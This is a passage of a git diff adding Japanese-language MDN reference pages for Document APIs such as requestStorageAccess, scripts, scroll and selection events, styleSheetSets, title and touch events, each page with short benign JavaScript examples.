</li> +</ul> + +<p>...最大値以上のオリジン:</p> + +<ul> + <li>ユーザーにプロンプトします。</li> + <li>ユーザーが「許可」または「任意のサイトで許可」をクリックすると、要求は解決されます。</li> + <li>ユーザーが「許可しない」をクリックすると、ストレージアクセス要求は拒否され、要求オリジンは別のユーザーインタラクションを受け取ると再要求できます。</li> + <li>ユーザーがストレージを許可する場合、要求オリジンは現在の最上位オリジンの永続ストレージアクセス許可を与えられます。</li> + <li>要求オリジンのストレージにアクセスできるオリジンの数は、1ずつ増加します。</li> + <li>永続ストレージアクセスのパーミッションは次のとおりです。 + <ul> + <li>ディスクに永続化され、将来のブラウザーセッションで有効のままになります。</li> + <li>30日後にリセットします。</li> + </ul> + </li> +</ul> + +<p>一時的または永続的なストレージアクセス許可が期限切れになると、要求オリジンのストレージアクセスを持つオリジンの数が1ずつ減ります。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 要求オリジンが<a href="/ja/docs/Mozilla/Firefox/Privacy/Storage_access_policy#Tracking_protection_explained">追跡オリジン（tracking origin）として分類</a>されていない場合、アクセス要求には、ページがリロードされると消滅する一時的なストレージアクセス許可が自動的に付与されます。 この場合、ユーザーにはプロンプトが表示されないため、<code>requestStorageAccess()</code> を呼び出しても、{{domxref("Document.hasStorageAccess()")}} によって返される値を変更する以外に副作用はありません。</p> +</div> + +<h2 id="Debugging" name="Debugging">デバッグ</h2> + +<p>ストレージアクセス許可のしきい値により、Firefox がユーザーにアクセスをプロンプトする条件の下でウェブサイトをテストすることがより難しくなる場合があります。 テストを簡単にするために、<code>requestStorageAccess()</code> 呼び出し時のプロンプトを制御する <code>about:config</code> に次の2つの設定を追加しました。</p> + +<ul> + <li><code>dom.storage_access.auto_grants</code> を <code>false</code> に設定して、一時ストレージアクセス許可の自動許可を無効にすることができます。 追跡者（trackers）として分類されたオリジンによる <code>requestStorageAccess()</code> の呼び出しはすべて、プロンプトをトリガーします。</li> + <li><code>dom.storage_access.max_concurrent_auto_grants</code> は、ユーザーがプロンプトを受け取り始めるストレージアクセス許可のしきい値数を制御します。 例えば、<code>requestStorageAccess()</code> が呼び出される最初のサイトでアクセスを自動的に許可し、その後プロンプトするように Firefox を構成する場合、<code>dom.storage_access.max_concurrent_auto_grants</code> 設定の値を 1 に調整する必要があります。</li> +</ul> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <em>promise</em> = document.requestStorageAccess();</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<p>なし。</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>ファーストパーティのストレージへのアクセスが許可されたら <code>undefined</code> で満たされ、アクセスが拒否されたら拒絶される {{jsxref("Promise")}} です。</p> + +<p>Promise が解決されると、 Promise が満たされたか拒否されたかに関わらず、ユーザージェスチャーが処理されているかのように解決ハンドラーが実行されます。</p> + +<ul> + <li>前者の場合、コードはユーザーのアクティベーションを必要とする API の呼び出しを開始でき、物事を前に進めることができます。</li> + <li>後者の場合、コードはユーザーになぜ要求に失敗したのか、何を続けることができるかを知らせるために実行することができます (例えば、必要な場合はログインを促すなど)。</li> +</ul> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js">document.requestStorageAccess().then( + () => { console.log('access granted') }, + () => { console.log('access denied') } +);</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<p>この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の <a href="https://webkit.org/blog/8124/introducing-storage-access-api/">Introducing Storage Access API</a>、および <a href="https://github.com/whatwg/html/issues/3338">WHATWG HTML issue 3338 — Proposal: Storage Access API</a> で見ることができます。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.requestStorageAccess")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p><a href="/ja/docs/Web/API/Storage_Access_API">Storage Access API</a></p> diff --git a/files/ja/web/api/document/scripts/index.html b/files/ja/web/api/document/scripts/index.html new file mode 100644 index 0000000000..c89053e06c --- /dev/null +++ b/files/ja/web/api/document/scripts/index.html @@ -0,0 +1,61 @@ +--- +title: Document.scripts +slug: Web/API/Document/scripts +tags: + - API + - Document + - HTML DOM + - Property + - Reference + - Script + - プロパティ +translation_of: Web/API/Document/scripts +--- +<div>{{APIRef("DOM")}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>scripts</code></strong> プロパティは、<span class="seosummary">文書中の {{HTMLElement("script")}} 要素のリストを返します。</span>返されるオブジェクトは単一の {{domxref("HTMLCollection")}} オブジェクトです。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>scriptList</var> = <var>document</var>.scripts; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("HTMLCollection")}} です。これを使用して、リスト中のすべての要素を配列のように取得することができます。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>ページ内の {{HTMLElement("script")}} 要素の存在を確認する例を以下に示します。</p> + +<pre class="brush:js">let scripts = document.scripts; + +if (scripts.length) { + alert("このページには script 要素があります。"); +} +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.scripts")}}</div> diff --git a/files/ja/web/api/document/scroll_event/index.html b/files/ja/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..6be4404386 --- /dev/null +++ b/files/ja/web/api/document/scroll_event/index.html @@ -0,0 +1,100 @@ +--- +title: 'Document: scroll event' +slug: Web/API/Document/scroll_event +tags: + - API + - DOM + - Document + - Event + - Reference + - Scroll + - UIEvent +translation_of: Web/API/Document/scroll_event +--- +<p>{{APIRef}}</p> + +<p><strong><code>scroll</code></strong> イベントは、ドキュメントのビューまたは要素がスクロールされたときに生じます。</p> + +<table class="properties"> + <thead> + </thead> + <tbody> + <tr> + <th>バブリング</th> + <td>はい</td> + </tr> + <tr> + <th>キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th>インターフェイス</th> + <td>{{DOMxRef("Event")}}</td> + </tr> + <tr> + <th>イベントハンドラープロパティ</th> + <td>{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>注:</strong> iOS UIWebViews では、スクロールされている最中は <code>scroll</code> イベントは生じません。スクロールが完了したあとにのみ生じます。 詳しくは <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a> をご覧ください。 Safari と WKWebViews ではこのバグは起きません。</p> +</div> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Scroll_event_throttling" name="Scroll_event_throttling">スクロールイベントを抑制する</h3> + +<p><code>scroll</code> イベントは高い確率で生じることができるため、イベントハンドラーは DOM の変更といった計算上の処理コストの高い操作を実行すべきではありません。その代わり、次のように、 {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}} や、 {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} 、または {{DOMxRef("CustomEvent")}} を使ってイベントを抑制することが推奨されます。</p> + +<p>ただし、インプットイベントやアニメーションフレームは同じような確率で生じ、そのため下記のような最適化は不要の場合が多いことに注意してください。 この例では <code>requestAnimationFrame</code> の <code>scroll</code> を最適化しています。</p> + +<pre class="brush: js notranslate">// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/ + +let last_known_scroll_position = 0; +let ticking = false; + +function doSomething(scroll_pos) { + // Do something with the scroll position +} + +window.addEventListener('scroll', function(e) { + last_known_scroll_position = window.scrollY; + + if (!ticking) { + window.requestAnimationFrame(function() { + doSomething(last_known_scroll_position); + ticking = false; + }); + + ticking = true; + } +});</pre> + +<p>その他の類似の例を見るには、 <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Document/defaultView/resize_event">resize</a></code> イベントページをご覧ください。</p> + +<h2 id="Specifications" name="Specifications">仕様</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">仕様書</th> + <th scope="col">策定状況</th> + </tr> + <tr> + <td>{{SpecName('CSSOM View', '#scrolling-events')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザー実装状況</h2> + +<p>{{Compat("api.Document.scroll_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Element/scroll_event">Element: <code>scroll</code> event</a></li> +</ul> diff --git a/files/ja/web/api/document/scrollingelement/index.html b/files/ja/web/api/document/scrollingelement/index.html new file mode 100644 index 0000000000..36401e50ed --- /dev/null +++ b/files/ja/web/api/document/scrollingelement/index.html @@ -0,0 +1,59 @@ +--- +title: Document.scrollingElement +slug: Web/API/Document/scrollingElement +tags: + - API + - Document + - Property + - Reference + - scrollingElement +translation_of: Web/API/Document/scrollingElement +--- +<div>{{APIRef("DOM")}}</div> + +<div> </div> + +<div><strong><code>scrollingElement</code></strong> は、{{domxref("Document")}} インターフェースの読み込み専用プロパティです。</div> + +<div>スクロール可能な {{domxref("Element")}} の参照を返します。</div> + +<div>スタンダードモードでは、ドキュメントのルート要素である {{domxref("document.documentElement")}} になります。</div> + +<div> </div> + +<div>後方互換モードでは、<code>scrollingElement</code> はHTMLの <code>body</code> 要素を返します。</div> + +<div><code>body</code> 要素が存在しないか、それが <a href="https://drafts.csswg.org/cssom-view/#potentially-scrollable">スクロール可能</a> な場合は null を返します。</div> + +<h2 id="構文">構文</h2> + +<pre class="syntaxbox">var <var>element</var> = document.scrollingElement;</pre> + +<h2 id="例">例</h2> + +<pre class="brush: js">var scrollElm = document.scrollingElement; +scrollElm.scrollTop = 0; +</pre> + +<h2 id="仕様">仕様</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">仕様書</th> + <th scope="col">策定状況</th> + <th scope="col">コメント</th> + </tr> + <tr> + <td>{{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="ブラウザー実装状況">ブラウザー実装状況</h2> + + + +<p>{{Compat("api.Document.scrollingElement")}}</p> diff --git a/files/ja/web/api/document/selectedstylesheetset/index.html b/files/ja/web/api/document/selectedstylesheetset/index.html new file mode 100644 index 0000000000..ce5c336b8e --- /dev/null +++ b/files/ja/web/api/document/selectedstylesheetset/index.html @@ -0,0 +1,50 @@ +--- +title: Document.selectedStyleSheetSet +slug: Web/API/Document/selectedStyleSheetSet +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/selectedStyleSheetSet +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div> + +<p><strong><code>selectedStyleSheetSet</code></strong> プロパティは、<span class="seosummary">現在使用中のスタイルシートセットの名前を示します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>currentStyleSheetSet</var> = <var>document</var>.selectedStyleSheetSet; + +<var>document</var>.selectedStyleSheet = <var>newStyleSheetSet</var>; +</pre> + +<p>返値である <code>currentStyleSheetSet</code> は、現在使用中のスタイルシートセットの名前を示します。このプロパティを使用して、現在のスタイルシートセットを設定することもできます。</p> + +<p>このプロパティに値を設定することは、 {{domxref("document.enableStyleSheetsForSet()")}} を <code>currentStyleSheetSet</code> の値で呼び出し、 <code>lastStyleSheetSet</code> の値をその値に設定することに等価です。</p> + +<div class="note"><strong>注:</strong> この属性の値は生きています。スタイルシートの <code>disabled</code> 属性を変更すると、この属性の値に影響します。</div> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">console.log('Current style sheet set: ' + document.selectedStyleSheetSet); + +document.selectedStyleSheetSet = 'Some other style sheet'; +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.selectedStyleSheetSet")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.styleSheetSets")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/ja/web/api/document/selectionchange_event/index.html b/files/ja/web/api/document/selectionchange_event/index.html new file mode 100644 index 0000000000..c255bf8328 --- /dev/null +++ b/files/ja/web/api/document/selectionchange_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'Document: selectionchange イベント' +slug: Web/API/Document/selectionchange_event +tags: + - Event + - Reference + - Selection + - Selection API + - selectionchange +translation_of: Web/API/Document/selectionchange_event +--- +<p>{{APIRef}}</p> + +<div> +<p><code><strong>selectionchange</strong></code> イベントは <a href="/ja/docs/Web/API/Selection_API">Selection API</a> の一部で、文書における現在のテキストの選択が変更された際に発生します。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers.onselectionchange", "onselectionchange")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js notranslate">// addEventListener version +document.addEventListener('selectionchange', () => { + console.log(document.getSelection()); +}); + +// onselectionchange version +document.onselectionchange = () => { + console.log(document.getSelection()); +}; +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}}</td> + <td>{{Spec2('Selection API')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p>{{Compat("api.Document.selectionchange_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/selectstart_event", "selectstart")}}</li> + <li>{{domxref("Document/getSelection", "Document.getSelection")}}</li> + <li>{{domxref("Selection", "Selection")}}</li> +</ul> diff --git a/files/ja/web/api/document/selectstart_event/index.html b/files/ja/web/api/document/selectstart_event/index.html new file mode 100644 index 0000000000..448225df42 --- /dev/null +++ b/files/ja/web/api/document/selectstart_event/index.html @@ -0,0 +1,73 @@ +--- +title: 'Document: selectstart event' +slug: Web/API/Document/selectstart_event +translation_of: Web/API/Document/selectstart_event +--- +<div>{{APIRef}}</div> + +<div> +<p><a href="/en-US/docs/Web/API/Selection">Selection API</a> の <code><strong>selectstart</strong></code> イベントは新しい選択範囲をユーザが指定した際に発火します。</p> + +<p>イベントがキャンセルされた場合、選択範囲は変更されません。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th>Bubbles</th> + <td>有効</td> + </tr> + <tr> + <th>Cancelable</th> + <td>有効</td> + </tr> + <tr> + <th>Interface</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th>Event handler property</th> + <td>{{domxref("GlobalEventHandlers.onselectstart", "onselectstart")}}</td> + </tr> + </tbody> +</table> + +<h2 id="例">例</h2> + +<pre class="brush: js">// addEventListener version +document.addEventListener('selectstart', () => { + console.log('Selection started'); +}); + +// onselectstart version +document.onselectstart = () => { + console.log('Selection changed.'); +}; +</pre> + +<h2 id="仕様">仕様</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Selection API', '#selectstart-event', 'selectstart')}}</td> + <td>{{Spec2('Selection API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="ブラウザ互換性">ブラウザ互換性</h2> + +<p>{{Compat("api.Document.selectstart_event")}}</p> + +<h2 id="参照">参照</h2> + +<ul> + <li>{{domxref("Document/selectionchange_event", "selectionchange")}}</li> +</ul> diff --git a/files/ja/web/api/document/stylesheetsets/index.html b/files/ja/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..aaf81a5774 --- /dev/null +++ b/files/ja/web/api/document/stylesheetsets/index.html @@ -0,0 +1,59 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/styleSheetSets +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div> + +<p><strong><code>styleSheetSets</code></strong> プロパティは読み取り専用で、<span class="seosummary">現在有効なすべてのスタイルシートセットの生きたリストを返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>sets</var> = <var>document</var>.styleSheetSets; +</pre> + +<p>返値である <code>sets</code> は、利用可能なスタイルシートセットのリストです。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>以下のようなコードで、 "sheetList" という ID を持った{{HTMLElement("ul")}} (リスト) 要素に対し、すべての有効なスタイルシートセットの名前を挙げることができます。</p> + +<pre class="brush:js notranslate">let list = document.getElementById('sheetList'); +let sheets = document.styleSheetSets; + +list.innerHTML = ''; + +for (let i = 0; i < sheets.length; i++) { + let item = document.createElement('li'); + + item.innerHTML = sheets[i]; + list.appendChild(item); +}</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p>有効なスタイルシートセットのリストは、その文書に有効なすべてのスタイルシートを {{domxref("document.styleSheets")}} 属性で並べられている順に列挙し、題名を持つそれぞれのスタイルシートの <code>title</code> をリストに追加することによって構築されます。重複するものは (大文字小文字を区別する比較を使用して) リストから削除されます。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.styleSheetSets")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Stylesheet")}}</li> + <li>{{domxref("document.styleSheets")}}</li> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/ja/web/api/document/title/index.html b/files/ja/web/api/document/title/index.html new file mode 100644 index 0000000000..e4daa979fd --- /dev/null +++ b/files/ja/web/api/document/title/index.html @@ -0,0 +1,80 @@ +--- +title: Document.title +slug: Web/API/Document/title +tags: + - API + - Command API + - Document + - HTML DOM + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/title +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"><strong><code>document.title</code></strong> プロパティは、現在の文書の<a href="/ja/docs/Web/HTML/Element/title">題名</a>を取得または設定します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>docTitle</var> = <var>document</var>.title; +</pre> + +<p><var>docTitle</var> は <var>document</var> の題名を含む文字列です。題名が <code>document.title</code> に設定することで上書きされている場合は、その値を含みます。そうでなければ、マークアップの中で指定された題名を含みます (下記の{{Anch("Notes", "メモ")}}を参照)。</p> + +<pre class="syntaxbox notranslate"><var>document</var>.title = <var>newTitle</var>; +</pre> + +<p><code><var>newTitle</var></code> は文書の新しい題名です。代入すると、 <code>document.title</code> の返値、文書に表示される題名 (ウィンドウのタイトルバーやタブなど)、文書の DOM (HTML 文書の <code><title></code> 要素の内容など) にも反映されます。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js notranslate"><!DOCTYPE html> +<html> +<head> + <title>Hello World!</title> +</head> +<body> + + <script> + alert(document.title); // "Hello World!" と表示 + document.title = "Goodbye World!"; + alert(document.title); // "Goodbye World!" と表示 + </script> + +</body> +</html> +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p>Gecko では、このプロパティは HTML, SVG, XUL, その他の文書に適用されます。</p> + +<p>HTML 文書では、 <code>document.title</code> の初期値は <code><title></code> 要素のテキストの内容です。 XUL では、 {{XULElem("window")}} またはその他の最上位 XUL 要素の {{XULAttr("title")}} 属性の値です。</p> + +<p>XUL では、文書の読み込みが完了する前に <code>document.title</code> にアクセスした時の動作は未定義です。 <code>document.title</code> が空文字を返す場合があり、また <code>document.title</code> を設定しても効果が表れないかもしれません。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG','#document.title','document.title')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.title")}}</p> diff --git a/files/ja/web/api/document/tooltipnode/index.html b/files/ja/web/api/document/tooltipnode/index.html new file mode 100644 index 0000000000..5511497b25 --- /dev/null +++ b/files/ja/web/api/document/tooltipnode/index.html @@ -0,0 +1,32 @@ +--- +title: Document.tooltipNode +slug: Web/API/Document/tooltipNode +tags: + - API + - 'API:Mozilla Extensions' + - DOM + - Draft + - Gecko + - Mozilla + - Non-standard + - Property + - Reference +translation_of: Web/API/Document/tooltipNode +--- +<p>{{APIRef("DOM")}}{{Draft}}{{Non-standard_Header}}</p> + +<p><code><strong>Document.tooltipNode</strong></code> プロパティは、現在の {{XULElem("tooltip")}} の対象となるノードを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>document</var>.tooltipNode;</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<p>XUL で定められたメソッドであり、標準仕様には含まれていません。{{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl")}} で定義されています。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.tooltipNode")}}</p> diff --git a/files/ja/web/api/document/touchcancel_event/index.html b/files/ja/web/api/document/touchcancel_event/index.html new file mode 100644 index 0000000000..8c539a854c --- /dev/null +++ b/files/ja/web/api/document/touchcancel_event/index.html @@ -0,0 +1,54 @@ +--- +title: 'Document: touchcancel イベント' +slug: Web/API/Document/touchcancel_event +tags: + - Document + - Event + - Reference + - TouchEvent + - Web + - touchcancel +translation_of: Web/API/Document/touchcancel_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><code>touchcancel</code> イベントは、1つ以上のタッチ点が実装特有の規則で破棄されたとき (例えば、作成されたタッチ点の数が多すぎるなど) に発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.touchcancel_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> + <li>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchcancel_event", "touchcancel")}}</li> +</ul> diff --git a/files/ja/web/api/document/touchend_event/index.html b/files/ja/web/api/document/touchend_event/index.html new file mode 100644 index 0000000000..3ace37291b --- /dev/null +++ b/files/ja/web/api/document/touchend_event/index.html @@ -0,0 +1,59 @@ +--- +title: 'Document:touchend イベント' +slug: Web/API/Document/touchend_event +tags: + - API + - Event + - Reference + - Touch Events + - TouchEvent + - UI + - UI Events + - UX + - ontouchend + - touch + - touchend + - イベント +translation_of: Web/API/Document/touchend_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><code>touchend</code> イベントは、タッチ平面から1つ以上のタッチポイントが取り除かれた場合に発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.touchend_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/touchend_event", "touchend")}}</li> +</ul> diff --git a/files/ja/web/api/document/touchmove_event/index.html b/files/ja/web/api/document/touchmove_event/index.html new file mode 100644 index 0000000000..53265149f9 --- /dev/null +++ b/files/ja/web/api/document/touchmove_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: touchmove イベント' +slug: Web/API/Document/touchmove_event +tags: + - API + - DOM + - Document + - Event + - Reference + - Touch Events + - TouchEvent + - UI + - UI Events + - UX + - touch + - touchmove + - イベント +translation_of: Web/API/Document/touchmove_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><code>touchmove</code> イベントは、タッチ平面に沿って1つ以上のタッチポイントが移動した場合に発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p>これらのイベントのコード例は、指定のページ「<a href="/ja/docs/Web/API/Touch_events">タッチイベント</a>」で利用できます。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + <tr> + <td>{{SpecName('Touch Events', '#event-touchmove')}}</td> + <td>{{Spec2('Touch Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 